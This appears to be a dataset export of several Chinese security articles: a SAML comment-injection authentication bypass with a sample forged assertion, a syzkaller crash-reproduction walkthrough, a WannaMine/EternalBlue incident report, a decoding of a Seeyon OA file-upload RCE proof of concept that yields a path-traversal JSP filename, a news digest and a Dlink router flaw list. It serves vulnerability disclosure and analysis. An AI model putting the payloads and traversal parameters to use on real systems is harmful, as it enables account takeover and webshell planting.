text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# SAML存在漏洞影响多款产品
|
##### 译文声明
本文是翻译文章，文章原作者 Kelby Ludwig，文章来源：duo.com/blog
原文地址：<https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文介绍了一个新的漏洞，该漏洞可以影响基于SAML的单点登录（single sign-on，SSO）系统。具备访问认证权限的攻击者可以利用这个漏洞，在不知道受害者密码的前提下，让SAML系统以受害者身份进行认证。
作为Duo Security的高级研究团队，[Duo Labs](https://duo.com/labs)发现有多个厂商受此漏洞影响，如下所示：
OneLogin - python-saml - CVE-2017-11427
OneLogin - ruby-saml - CVE-2017-11428
Clever - saml2-js - CVE-2017-11429
OmniAuth-SAML - CVE-2017-11430
Shibboleth - CVE-2018-0489
Duo Network Gateway - CVE-2018-7340
如果用户需要使用基于SAML的SSO方案，我们建议用户更新受影响的软件以修补此漏洞。如果你是Duo Security的客户，正在使用Duo Network
Gateway（DNG），你可以参考我们的[产品安全公告](https://duo.com/labs/psa/duo-psa-2017-003)了解更多信息。
## 二、SAML Responses简介
SAML的全程是Security Assertion Markup Language（安全声明标记语言），是单点登录系统常用的一种标准。Greg
Seador写了一篇很好的教学[指南](https://duo.com/blog/the-beer-drinkers-guide-to-saml)来介绍SAML，如果你对此不甚了解，我强烈建议你阅读这篇指南。
为了理解这个漏洞，我们需要了解SAML `Response`对服务提供商（Service
Provider，SP）的意义以及具体处理过程，这是一个重要概念。`Response`处理起来有许多细节之处，但可以简化为如下步骤：
1、用户向身份提供商（Identity Provider，IdP）发起认证请求，IdP（比如Duo或者GSuite）会生成经过签名的SAML
`Response`。用户浏览器随后会将response转发给某个SP（如Slack或者Github）；
2、SP验证SAML `Response`的签名；
3、如果签名有效，则通过SAML `Response`中用于身份标识的某个字符串（如`NameID`）来识别出需要对哪个用户进行认证。
一个非常简单的SAML `Response`结构如下所示：
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="xml-c14n11"/>
<Reference URI="#_id1234"/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>
上面这个示例省略了许多信息，但省略的这些信息对于这个漏洞而言并不重要。上述XML数据中，最重要的两个元素为`Assertion`以及`Signature`。`Assertion`元素表达的意思是：“Hey，我是IdP，认证了`[user@user.com](mailto:user@user.com)`这个用户”。`Assertion`元素会对应一个签名，作为`Signature`元素的一部分存放在XML结构中。
如果`Signature`元素准确无误，应该能阻止对`NameID`的篡改。由于SP很有可能会使用`NameID`来判断需要对哪个用户进行身份认证，因此该签名就能阻止攻击者将他们自己的`NameID`信息从`[attacker@user.com](mailto:attacker@user.com)`修改为`[user@user.com](mailto:user@user.com)`。如果攻击者能够在不破坏签名的前提下修改`NameID`字段，那么这将是非常糟糕的一件事情（敲黑板，划重点）。
## 三、XML规范化
与XML签名有关的另一个方面是XML规范化（canonicalization）。XML规范化可以让逻辑上相等的两个XML文档在字节上拥有相同的表现形式。比如：
<A X="1" Y="2">some text<!-- and a comment --></A>
以及
< A Y="2" X="1" >some text</ A >
这两个XML文档拥有不同的字节表现形式，但传达的是相同的意思（也就是说这两者逻辑上相同）。
XML规范化操作先于签名操作进行，这样可以防止XML文档中一些无意义的差异导致不同的数字签名。这点很重要，所以我在这里强调一下：多个不同但相似的XML文档可以具备相同的签名。大多数情况下这是一件好事，具体哪些差异比较重要由规范化算法所决定。
在上面那个SAML
Response中，你可能会注意到`CanonicalizationMethod`这个元素，该元素指定了签名文档之前所使用的规范化算法。[XML签名规范](https://www.w3.org/TR/xmldsig-core1/#sec-c14nAlg)中列出了几种算法，但实际上最常用的算法貌似是`http://www.w3.org/2001/10/xml-exc-c14n#`（我将其缩写为`exc-c14n`）
`exc-c14n`还有另一种变体，即`http://www.w3.org/2001/10/xml-exc-c14n#WithComments`。这款变体并不会忽略注释信息，因此前面我们给出的两个XML文档会得到不同的规范化表示形式。这两种算法的区别也是非常重要的一点。
## 四、XML API
该漏洞之所以存在，原因之一就在于不同的XML库（如Python的`lxml`或者Ruby的`REXML`）存在一些微妙且意料之外的处理方法。比如，考虑如下`NameID`
XML元素：
<NameID>kludwig</NameID>
如果你想从该元素中提取用户身份信息，在Python语言中，你可能会使用如下代码：
from defusedxml.lxml import fromstring
payload = "<NameID>kludwig</NameID>"
data = fromstring(payload)
return data.text # should return 'kludwig'
这段不难理解吧，`.text`方法会提取出`NameID`元素所对应的文本。
现在，如果我稍微修改一下，往该元素中添加一点注释，会出现什么情况呢：
from defusedxml.lxml import fromstring
doc = "<NameID>klud<!-- a comment? -->wig</NameID>"
data = fromstring(payload)
return data.text # should return ‘kludwig’?
如果你觉得即使添加了注释我们也能得到一样的结果，那么你和我还有很多人看到结果后都会大吃一惊，事实上`lxml`中的`.text`
API返回的是`klud`！这是为什么呢？
我认为这里`lxml`的处理方式在技术层面上是正确的，虽然并不是那么直观。如果我们将XML文档看成一棵树，那么`XML`文档看上去如下所示：
element: NameID
|_ text: klud
|_ comment: a comment?
|_ text: wig
`lxml`并没有读取第一个`text`节点结束后的`text`节点。而没有添加注释的节点如下所示：
element: NameID
|_ text: kludwig
这种情况下，程序解析完第一个`text`节点后就不再处理也非常合理。
表现出类似行为的另一个XML解析库为Ruby的`REXML`库。根据`get_text`方法的[文档](https://ruby-doc.org/stdlib-2.2.3/libdoc/rexml/rdoc/REXML/Element.html#method-i-get_text)描述，我们就能理解为何这些XML API会表现出这种行为：
[get_text] 会返回第一个子Text节点，如果不存在则返回nil。该方法会返回实际的Text节点，而非String字符串内容。
如果所有的XML
API都遵循这种处理方式，那么在第一个子节点后就停止提取文本虽然看起来并不直观，但可能不会造成任何问题。不幸的是情况并非如此，某些XML库虽然包含几乎相同的API，但提取文本的方式却并不相同：
import xml.etree.ElementTree as et
doc = "<NameID>klud<!-- a comment? -->wig</NameID>"
data = et.fromstring(payload)
return data.text # returns 'kludwig'
我也碰到过一些实现方法，这些方法并没有利用XML
API来实现这一功能，而是自己进行文本提取，简单地提取出第一个子节点中的文本，这也是子字符串文本提取的另一种方法。
## 五、漏洞说明
现在已经有3个因素能够触发该漏洞：
1、SAML Response中包含用来标识认证用户的字符串；
2、（大多数情况下）XML规范化处理会删除注释信息，不用于签名验证中，因此往SAML Response中添加注释并不会破坏签名有效性。
3、当包含注释信息时，XML文本提取过程可能只会返回XML元素中文本字符串的子串。
因此，当攻击者具备`[user@user.com.evil](mailto:user@user.com.evil).com`账户的访问权限时，就可以修改自己的SAML断言，在SP处理时将NameID修改为`[user@user.com](mailto:user@user.com)`。现在，只要在之前的SAML
Response中添加7个字符，我们就能构造出攻击载荷，如下所示：
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com<!---->.evil.com</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="xml-c14n11"/>
<Reference URI="#_id1234"/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>
## 六、如何影响
现在说一下具体影响。
出现这种行为并不是一件好事，但也并非总是能被成功利用。SAML IdP以及SP有各种配置选项，因此这一漏洞所能造成的实际影响范围也因人而异。
比如，如果某些SAML SP使用email地址并且验证域名是否位于白名单中，那么这种SP与那些使用任意字符串作为用户标识符的SP相比就更加安全一些。
对于IdP而言，向用户开放账户注册功能可能会使问题变得更加严重。手动管理用户账户注册会多一层安全屏障，使漏洞利用起来更加困难。
## 七、缓解措施
如何缓解这个漏洞在某种程度上取决于用户与SAML的具体关系。
### Duo软件的用户
Duo已经发布了1.2.10版[Duo Network
Gateway](https://duo.com/docs/dng)的安全更新。如果你将DNG用作SAML服务提供商，尚未更新到1.2.10或者更新版本（目前1.2.10是最新版本），我们建议您及时升级。
大家可以参考Duo的[产品安全公告（PSA）](https://duo.com/labs/psa/duo-psa-2017-003)了解此漏洞的更多细节。
### 运行或维护IdP或者SP的用户
最好的缓解措施就是确保处理SAML的库不受到此问题影响。我们发现了多个SAML库要么利用了不甚直观的XML
API，要么自己错误实现了文本提取功能，但我相信还有更多的库没有很好地处理XML节点中的注释。
另一种可能的缓解措施就是默认采用不会忽略注释的规范化算法，比如`http://www.w3.org/2001/10/xml-exc-c14n#WithComments`。使用这种规范化算法后，攻击者添加的注释会破坏签名的有效性，但我们无法修改具体使用的规范化算法标识，想修改的话需要IdP以及SP的支持，这可能不是一种通用的缓解措施。
此外，如果你的SAML SP强制使用了[双因素身份认证](https://duo.com/resources/glossary/two-factor-authentication)机制，这种情况就比较安全，因为该漏洞只能让攻击者绕过用户的第一层身份认证机制。请注意，如果你的IdP同时负责第一层以及第二层身份认证，那么该漏洞很有可能会同时绕过这两层保护。
### 维护SAML处理库的用户
此时最显而易见的缓解措施是确保所使用的SAML库在处理带有注释的XML元素时，可以成功提取出该元素的全部文本。我发现大多数SAML库都具备某种形式的单元测试功能，并且想要更新测试也是非常方便的一件事情（比如提取像`NameIDS`之类的属性，在文档签名之前添加注释）。如果测试能够继续通过，那么一切顺利。否则，你可能就受到此漏洞影响。
另一种可能的缓解措施就是更新所使用的库，对于任何处理过程（如文本提取）都要在签名验证之后使用规范化的XML文档，这样就能防护此漏洞以及XML规范化过程所带来的其他漏洞。
### 维护XML解析库的用户
从我个人角度来看，这么多程序库受到此漏洞影响表明许多用户认为XML内部文本API能够正常处理注释数据，而这种现象也敦促我们去修改那些API的处理机制。然而，我并不认为XML库开发者需要因此做出太大改动，他们可以采取比较合理措施，比如保持API现状，然后在文档中做出相应说明。
另一种缓解措施就是改进XML的标准。经过研究后，我并没有发现能够规范正确行为的任何标准，我们可能需要指定相关的这些标准如何协同工作。
## 八、时间线
大家可以参考[此处链接](https://www.duo.com/labs/disclosure)了解我们的漏洞披露策略。对于这个漏洞，由于影响多个厂商，我们决定与CERT/CC一起协商披露时间，具体时间线如下：
2017-12-18：联系CERT/CC，提供漏洞信息。
2017-12-20：CERT/CC及时跟进，询问了一些细节。
2017-12-22：回答CERT/CC提出的问题。
2018-01-02至2018-01：通过邮件与CERT/CC进一步讨论该问题。
2018-01-24：CERT/CC完成内部分析流程，通知受影响的厂商。
2018-01-25：厂商确认CERT/CC的报告。我们与CERT/CC以及相关厂商进一步沟通，进一步解释该问题以及其他攻击方法。
2018-01-29：CERT/CC确认了可能受此漏洞影响的其他厂商并与之联系。
2018-02-01：Duo Labs为每个受影响的厂商保留了CVE编号。
2018-02-06：Duo检查并确认了CERT/CC的漏洞技术备注草案。
2018-02-20：最后确认所有受影响的厂商已经做好漏洞披露准备。
2018-02-27：漏洞披露。
感谢CERT/CC帮助我们披露次漏洞，感谢CERT/CC联系的所有相关组织及人员能够快速响应此漏洞。 | 社区文章 |
这是内核漏洞挖掘技术系列的第七篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
在上一篇文章中我们聊了聊编写的系统调用模板被编译的过程，这篇文章从syz-manager入手分析，主要来看看crash复现的过程。syzkaller的使用是通过这条命令：`./syz-manager -config=my.cfg`
syzkaller\pkg\mgrconfig\testdata目录下提供的示例qemu.cfg如下。
{
"target": "linux/amd64",
"http": "myhost.com:56741",
"workdir": "/syzkaller/workdir",
"kernel_obj": "/linux/",
"image": "/linux_image/wheezy.img",
"sshkey": "/linux_image/ssh/id_rsa",
"syzkaller": "/syzkaller",
"disable_syscalls": ["keyctl", "add_key", "request_key"],
"suppressions": ["some known bug"],
"procs": 4,
"type": "qemu",
"vm": {
"count": 16,
"cpu": 2,
"mem": 2048,
"kernel": "/linux/arch/x86/boot/bzImage",
"initrd": "linux/initrd"
}
}
这些参数的含义如下(有一些上面的示例中没有)。
http：显示正在运行的syz-manager进程信息的URL
email_addrs：第一次出现bug时接收通知的电子邮件地址，只支持Mailx
workdir：syz-manager进程的工作目录的位置。产生的文件包括：
* workdir/crashes/*：crash输出文件
* workdir/corpus.db：包含一些程序的语料库
* workdir/instance-x：每个VM实例临时文件
syzkaller：syzkaller的位置，syz-manager将在bin子目录中查找二进制文件
kernel_obj：包含目标文件的目录，例如linux中的vmlinux
procs：每个VM中的并行测试进程数，一般是4或8
image：qemu实例的磁盘镜像文件的位置
sshkey：用于与虚拟机通信的SSH密钥的位置
sandbox：沙盒模式，支持以下模式：
* none：默认设置，不做任何特殊的事情
* setuid：冒充用户nobody(65534)
* namespace：使用命名空间删除权限(内核需要使用CONFIG_NAMESPACES，CONFIG_UTS_NS，CONFIG_USER_NS，CONFIG_PID_NS和CONFIG_NET_NS构建)
enable_syscalls：测试的系统调用列表
disable_syscalls：禁用的系统调用列表
suppressions：已知错误的正则表达式列表
type：要使用的虚拟机类型，例如qemu
vm：特定VM类型相关的参数，例如对于qemu来说参数包括：
* count：并行运行的VM数
* kernel：要测试的内核的bzImage文件的位置
* cmdline：启动内核的其它命令行选项，例如root=/dev/sda1
* cpu：要在VM中模拟的CPU数
* mem：VM的内存大小，以MB为单位
除了config参数以外，syz-manager还可以接受debug参数和bench参数。debug参数将VM所有输出打印到console帮助我们排查使用中出现的错误；bench参数定期将执行的统计信息写入我们指定的文件。
main函数中首先启用日志缓存的功能，缓存在内存中的日志不能超过1000行或者1^29个字节。然后加载config文件，获取操作系统和架构信息，检查是否支持。还记得syz-sysgen生成的.go文件中的RegisterTarget函数么？这里用GetTarget函数获取参数对应的target。
在qemu.cfg中可以看到通过disable_syscalls指定排除的syscall，同样可以通过enable_syscalls指定测试的syscall，如果没有这两个参数默认会fuzz所有的syscall。那么接下来就是通过ParseEnabledSyscalls解析这两个参数，之后就进入RunManager函数中了。
在RunManager函数中如果config文件中指定的type不为none则创建一个vmpool。将type指定为none是在调试/开发中用的，这样manager就不会启动VM而是需要手动启动。
一个vmPool可以用来创建多个独立的VM。前面在讲解整体架构的时候说过vm.go对不同的虚拟化方案提供了统一的接口，这里会调用到qemu.go的Ctor函数。其中主要检查了一些参数，所以这里不再展开。
接下来又经过一些初始化操作之后在一个线程中定期记录VM状态、crash数量等信息。如果设置了bench参数还要在指定的文件中记录一些信息。最后调用vmLoop函数。
crash被保存在reproQueue中，通过len(reproQueue) != 0判断当前是否有等待复现的crash。
vmIndexes := append([]int{}, instances[len(instances)-instancesPerRepro:]...)
instances = instances[:len(instances)-instancesPerRepro]
这两行代码把instances分成vmIndexes和instances两个部分，vmIndexes对crash进行复现，instances运行新的实例。我们先看Run函数复现部分的代码。在经过一些设置之后，主要是调用到了repro函数。
在repro函数中首先调用extractProg函数提取出触发crash的程序。Timeouts有三个取值：10s，1min和5min。10s是用来复现比较简单的crash用的，5min是用来复现条件竞争这样比较复杂的crash用的。如果单个程序无法复现，则采用二分查找的方法找出那些触发crash的程序。按照时间从短到长，从后向前(通常最后一个程序就是触发crash的程序)，从单个到多个的顺序尝试复现出crash。
如果能够成功复现，则继续调用minimizeProg函数对其最小化。
minimizeProg函数主要调用了Minimize函数。
Minimize函数首先调用了SanitizeCall函数，因为有些系统调用需要做一些特殊的处理。
然后尝试逐个移除系统调用。
test中的例子如下，open系统调用被移除了。
之后再去除系统调用的无关参数。
在do函数中，根据不同的参数类型调用不同的minimize函数。
比如如果参数是指针类型的，把指针或者指针指向的内容置空。
如果参数是数组类型的，尝试一个一个移除数组中的元素。
之后，调用extractC函数提取出C程序。
extractC函数主要是调用了testCProg函数，后者调用csource中的Write函数生成C代码，csource中的Build函数编译出可执行文件。比较简单，所以不再详细分析。
接下来调用simplifyProg函数对之前的结果进行简化，simplifyProg函数再次调用extractC函数提取出C程序，然后调用simplifyC函数对提取出的C程序进行简化。这里简化的是复现crash时设置的一些选项，比如线程、并发、沙盒等等。
我们返回到manager.go中，这一部分的代码就分析完了。在下一篇文章中我们将介绍vmLoop函数中是怎么进行fuzz的。 | 社区文章 |
基于某天在公司打开虚拟机，下载了一个cms准备源码审计。
火绒居然报毒了，突发其然
该系统为win7，防火墙关闭，桥接模式（一般不启动 外网访问不了），139、445端口未关闭。
火绒是最近才安装了 访问该地址发现是个域名厂商还是啥
百度搜一波
确定为WannaMine挖矿地址
发现可疑进程
根据火绒日志
svhost.exe 异常调用cmd
svhost.exe 执行-k NetworkService 开启某个服务网卡？
找到病毒运行传播模块为：spoolsv.exe
病毒运行模块为：svchost.exe
目前确认是因445端口被永恒之蓝漏洞所攻击
找到spoolsv和svchost的配置文件
发现相应的IP地址和端口号被写入到EternalBlue攻击程序svchost.exe的配置文件svchost.xml中
然后通过CreateProcessA函数启动svchost.exe（永恒之蓝攻击程序）进行局域网主机的攻击，同时将这个行为特征记录到stage1.txt。
永恒之蓝攻击完成之后，会修改DoublePulsar后门程序spoolsv.exe的配置文件spoolsv.xml
日志文件被kill
总结：因为最近安装了火绒大部分进程和服务没有被成功启动，近期的日志啥的都没查到。
为毛我虚拟机会搞、有可能是局域网内已有机子早已被种下该病毒、以至于通过爆破我的虚拟机从而入侵。
解决方案
1、隔离感染主机：已中毒计算机尽快隔离，关闭所有网络连接，禁用网卡。
2、切断传播途径：关闭潜在终端的SMB 445等网络共享端口，关闭异常的外联访问。
3、查找攻击源：手工抓包分析或借助态势感知类产品分析。
4、查杀病毒：推荐使用EDR工具进行查杀。
5、修补漏洞：打上“永恒之蓝”漏洞补丁，请到微软官网，下载对应的漏洞补丁（<https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx）> | 社区文章 |
**作者：kk**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org**
在几天前，我就收到致远OA的RCE漏洞部分详情，但是并没有引起重视。当时获得的POC部分只包括了任意文件上传的数据包，但并没有其余详情，且数据包中重要数据都被编码过了。原以为又是一次恶作剧。没想到啊。
由于漏洞本身没什么好讲的，现在让我们来看看这个POC中涉及的编码算法，看看原始的POC中的编码数据是做什么的。
首先漏洞位置在htmlofficeservlet，通过一段时间的寻找我找到了一份旧的Seeyon OA的源码：
https://github.com/zhf839428881/seeyon_v3x/
其中这个接口的实现在`HtmlOfficeServlet.java`文件内。
通过这份代码我们知道接口对参数的获取使用的是`DBstep.iMsgServer2000.GetMsgByName`方法。 关键代码：
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
CurrentUserToSeeyonApp.set(request.getSession());
ApplicationContext ctx = (ApplicationContext) getServletContext().getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
HandWriteManager handWriteManager = (HandWriteManager) ctx.getBean("handWriteManager");
HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager) ctx.getBean("htmlHandWriteManager");
DBstep.iMsgServer2000 msgObj = new DBstep.iMsgServer2000();
try {
handWriteManager.readVariant(request, msgObj);
msgObj.SetMsgByName("CLIENTIP", request.getRemoteAddr());
String option = msgObj.GetMsgByName("OPTION");
if ("LOADFILE".equalsIgnoreCase(option)) {
handWriteManager.LoadFile(msgObj);
}
else if("LOADSIGNATURE".equalsIgnoreCase(option))
{
htmlHandWriteManager.loadDocumentSinature(msgObj);
}
else if("LOADMARKLIST".equalsIgnoreCase(option))
{
handWriteManager.LoadSinatureList(msgObj);
}
else if("SIGNATRUEIMAGE".equalsIgnoreCase(option))
{
handWriteManager.LoadSinature(msgObj);
}
else if("SAVESIGNATURE".equalsIgnoreCase(option))
{
htmlHandWriteManager.saveSignature(msgObj);
}
else if("SAVEHISTORY".equalsIgnoreCase(option))
{
htmlHandWriteManager.saveSignatureHistory(msgObj);
}
else if("SIGNATRUELIST".equalsIgnoreCase(option))
{//调入印章列表
handWriteManager.LoadSinatureList(msgObj);
}
else if("SHOWHISTORY".equalsIgnoreCase(option))
{
htmlHandWriteManager.getSignatureHistory(msgObj);
}
handWriteManager.sendPackage(response, msgObj);
}
catch (Exception e) {
log.error("",e);
msgObj = new DBstep.iMsgServer2000();
msgObj.MsgError("htmoffice operate err");
handWriteManager.sendPackage(response, msgObj);
}
ThreadLocalUtil.removeThreadLocal();
}
又经过一段时间，我找到了DBstep数据库，然而DBstep并没有对参数进行加解密的操作。
卡了一段时间后，我发现此处的DBstep是被修改过的版本，对DBstep进行修改的是iweboffice中间件，而这个中间件属于金格科技。
从金格科技的官网我找到了试用版的iweboffice，可惜其中的iMsgServer版本为2015，且找不到iMsgServer2000的下载地址。
又过了一段时间，我找到了如下的文件： https://github.com/ExllntSuppt/ecology-OA/blob/master/iMsgServer2000.java
通过分析可以知道`DBstep.iMsgServer2000.GetMsgByName`调用了`DBstep.iMsgServer2000.DecodeBase64`方法。
关键代码：
public String GetMsgByName(String FieldName) {
int i = 0;
int j = 0;
String mReturn = "";
String mFieldName = FieldName.trim().concat("=");
i = this._$906.indexOf(mFieldName);
if (i != -1) {
j = this._$906.indexOf("\r\n", i + 1);
i += mFieldName.length();
if (j != -1) {
String mFieldValue = this._$906.substring(i, j);
mReturn = this.DecodeBase64(mFieldValue);
return mReturn;
}
return mReturn;
}
return mReturn;
}
通过分析可以知道此处是一个Base64算法的变种。 关键代码：
public String DecodeBase64(String Value) {
ByteArrayOutputStream o = new ByteArrayOutputStream();
String m = "";
byte[] d = new byte[4];
try {
int count = 0;
byte[] x = Value.getBytes();
while (count < x.length) {
for (int n = 0; n <= 3; ++n) {
if (count >= x.length) {
d[n] = 64;
} else {
int y = this._$903.indexOf(x[count]);
if (y < 0) {
y = 65;
}
d[n] = (byte)y;
}
++count;
}
o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4)));
if (d[2] == 64) continue;
o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2)));
if (d[3] == 64) continue;
o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63)));
}
}
catch (StringIndexOutOfBoundsException e) {
this._$907 = this._$907 + e.toString();
System.out.println(e.toString());
}
try {
m = o.toString(this.Charset);
}
catch (UnsupportedEncodingException ea) {
System.out.println(ea.toString());
}
return m;
}
对应Base64中的密文`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`
该处变种算法的密文为`FxcYg3UZvtEz50Na8G476=mLDI/jVfC9dsoMAiBhJSu2qPKe+QRbXry1TnkWHlOpw`
但是使用该密文无法正确对致远POC中的密文进行解密，推测在致远OA中，该密文被修改了。
联系了公司中有Seeyon OA的小伙伴，通过他的协助终于获取到了Seeyon的密文：
`gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6`
写了个变种Base64互转Base64的小脚本。
var a = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var c = "OKMLlKlV";
var d = "";
function a2b(v) {
for (var i = 0; i < a.length; i++) {
if (a[i] == v) {
return b[i];
}
}
}
function b2a(v) {
for (var i = 0; i < b.length; i++) {
if (b[i] == v) {
return a[i];
}
}
}
for (var i = 0; i < c.length; i++) {
d = d + a2b(c[i]);
}
对POC中的加密参数进行解密后，我们得到如下数据。
参数 变种Base64 Base64 明文
DBSTEP OKMLlKlV REJTVEVQ DBSTEP
OPTION S3WYOSWLBSGr U0FWRUFTSU1H SAVEASIMG
currentUserId zUCTwigsziCAPLesw4gsw4oEwV66 Njk5MzAwNzk2OTYwMDAwMDI3MQ== 6993007969600000271
CREATEDATE wUghPB3szB3Xwg66 MjAxOS0wNS0yMA== 2019-05-20
RECORDID qLSGw4SXzLeGw4V3wUw3zUoXwid6 LTU1MDUyNTY1MDQ0MjM0NjIyMzc= -5505256504423462237
originalFileId wV66 MQ== 1
FILENAME qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 Li5cLi5cLi5cQXBhY2hlSmV0c3BlZWRcd2ViYXBwc1xzZWV5b25cdGVzdDEyMzQ1Ni5qc3A= ..\..\..\ApacheJetspeed\webapps\seeyon\test123456.jsp
needReadFile yRWZdAS6 ZmFsc2U= false
originalCreateDate wLSGP4oEzLKAz4=iz=66 MTU1ODI3NTE2NDgzNg== 1558275164836
POC中还有一个客户端的IP，解密后为内网地址。
从这些明文中，我们知道这个POC中操作的数据库是DBSTEP，进行的操作应该是保存图片。其中还有用户的ID和记录ID的存在。根据CREATEDATE参数，操作时间是在2019-05-20。originalCreateDate参数是Unix时间，表示2019-05-19
22:12:44:836。通过这两个参数可以推测这个漏洞至少已经被发现一个月了。
还可以看到漏洞写入的文件地址是`..\..\..\ApacheJetspeed\webapps\seeyon\test123456.jsp`，由于服务器上的上传目录不是固定的，这个POC只能影响上传目录与默认配置一致的服务器。
最后，65!约等于8.2476506e+90，通过对Base64映射表的修改，我们可以得到65!-1种不同的变种Base64算法，因此也导致几乎不可能在只有密文的情况下对变种Base64的映射表进行爆破。
Base64算编码方法还是对称加密很难说，但是变种Base64绝对算是加密算法，映射表就是他的密文。
最最后，凯撒加密天下第一！
* * * | 社区文章 |
# 【知识】10月10日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： CVE-2017-12617：Apache Tomcat JSP Upload Bypass / Remote Code
Execution、逆向工程macOS High Sierra补充更新、用radare2逆向工程一个Gameboy ROM、Google Chrome
pdfium stack-based buffer overflow vulnerability with PoC (CVE-2017-5095)**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
Windows 10 更新移除 Windows Media Player
PureVPN 日志被指帮助 FBI 识别网络骚扰者
**资讯类：**
********
印度国家互联网注册管理机构被黑：15个比特币就能拿下整个印度互联网
<https://www.theregister.co.uk/2017/10/05/ndian_registry_for_internet_names_and_numbers_attack_allegation_by_seqrite/>
FBI在“无日志”VPN提供商共享用户日志之后逮捕了一名网络追踪者
<https://thehackernews.com/2017/10/no-logs-vpn-service-security_8.html>
**技术类：**
********
CVE-2017-12617：Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 –
JSP Upload Bypass / Remote Code Execution
<https://github.com/cyberheartmi9/CVE-2017-12617>
逆向工程macOS High Sierra补充更新
<https://cocoaengineering.com/2017/10/08/reverse-engineering-macos-high-sierra-supplemental-update/>
Mythril简介：一个在Ethereum区块链上进行bug hunting的框架
<https://medium.com/@muellerberndt/introducing-mythril-a-framework-for-bug-hunting-on-the-ethereum-blockchain-9dc5588f82f6>
MetaTwin：借助Microsoft Metadata和数字签名“隐藏”二进制文件
<http://threatexpress.com/2017/10/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/>
用radare2逆向工程一个Gameboy ROM
<https://www.megabeets.net/reverse-engineering-a-gameboy-rom-with-radare2/>
cameradar：一款可以攻击CCTV摄像头的工具
<https://github.com/EtixLabs/cameradar>
从勒索病毒和其他破坏性事件中恢复数据
<https://nccoe.nist.gov/publication/1800-11/index.html>
Google Chrome pdfium stack-based buffer overflow vulnerability with PoC
(CVE-2017-5095)
<https://bugs.chromium.org/p/chromium/issues/detail?id=732661>
一些你不得不知的Linux命令
<https://n0where.net/cli-magic-i-didnt-know-that> | 社区文章 |
# 【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
根据安全研究专家的最新发现，Dlink
DWR-932B路由器中存在大量的安全漏洞，包括后门、后门账号、弱WPS、以及远程代码执行漏洞等等。如果你对物联网安全方面感兴趣的话，可以选择拿这款路由器来练练手。
**漏洞概述**
Dlink
DWR-932B路由器是一款LTE路由器，由于这款路由器的整体设计存在非常严重的问题，导致该设备中存在大量的安全漏洞。Dlink是一个跨国的网络设备制造商，而这款路由器目前已经销往了全球的多个国家和地区。需要注意的是，这款设备现在正在为多国的企业和组织提供互联网服务，所以这些漏洞必定会将相关企业置于安全风险之中。根据安全研究专家的描述，Dlink
DWR-932B路由器中的一个核心功能模块是基于Quanta LTE路由器模块来实现的。而不幸的是，该模块不仅从Quanta
LTE路由器那里继承了其通信功能，而且还将其中的安全漏洞带到了Dlink DWR-932B路由器的身上。
Dlink DWR-932B路由器中存在的安全漏洞如下所示：
> －后门账号
>
> －后门
>
> －默认WPS PIN码
>
> －弱WPS PIN码生成
>
> －泄漏No-IP账号
>
> －HTTP守护进程（qmiweb）中存在多个漏洞
>
> －远程FOTA
>
> －安全实践方案存在缺陷
>
> －UPnP安全问题
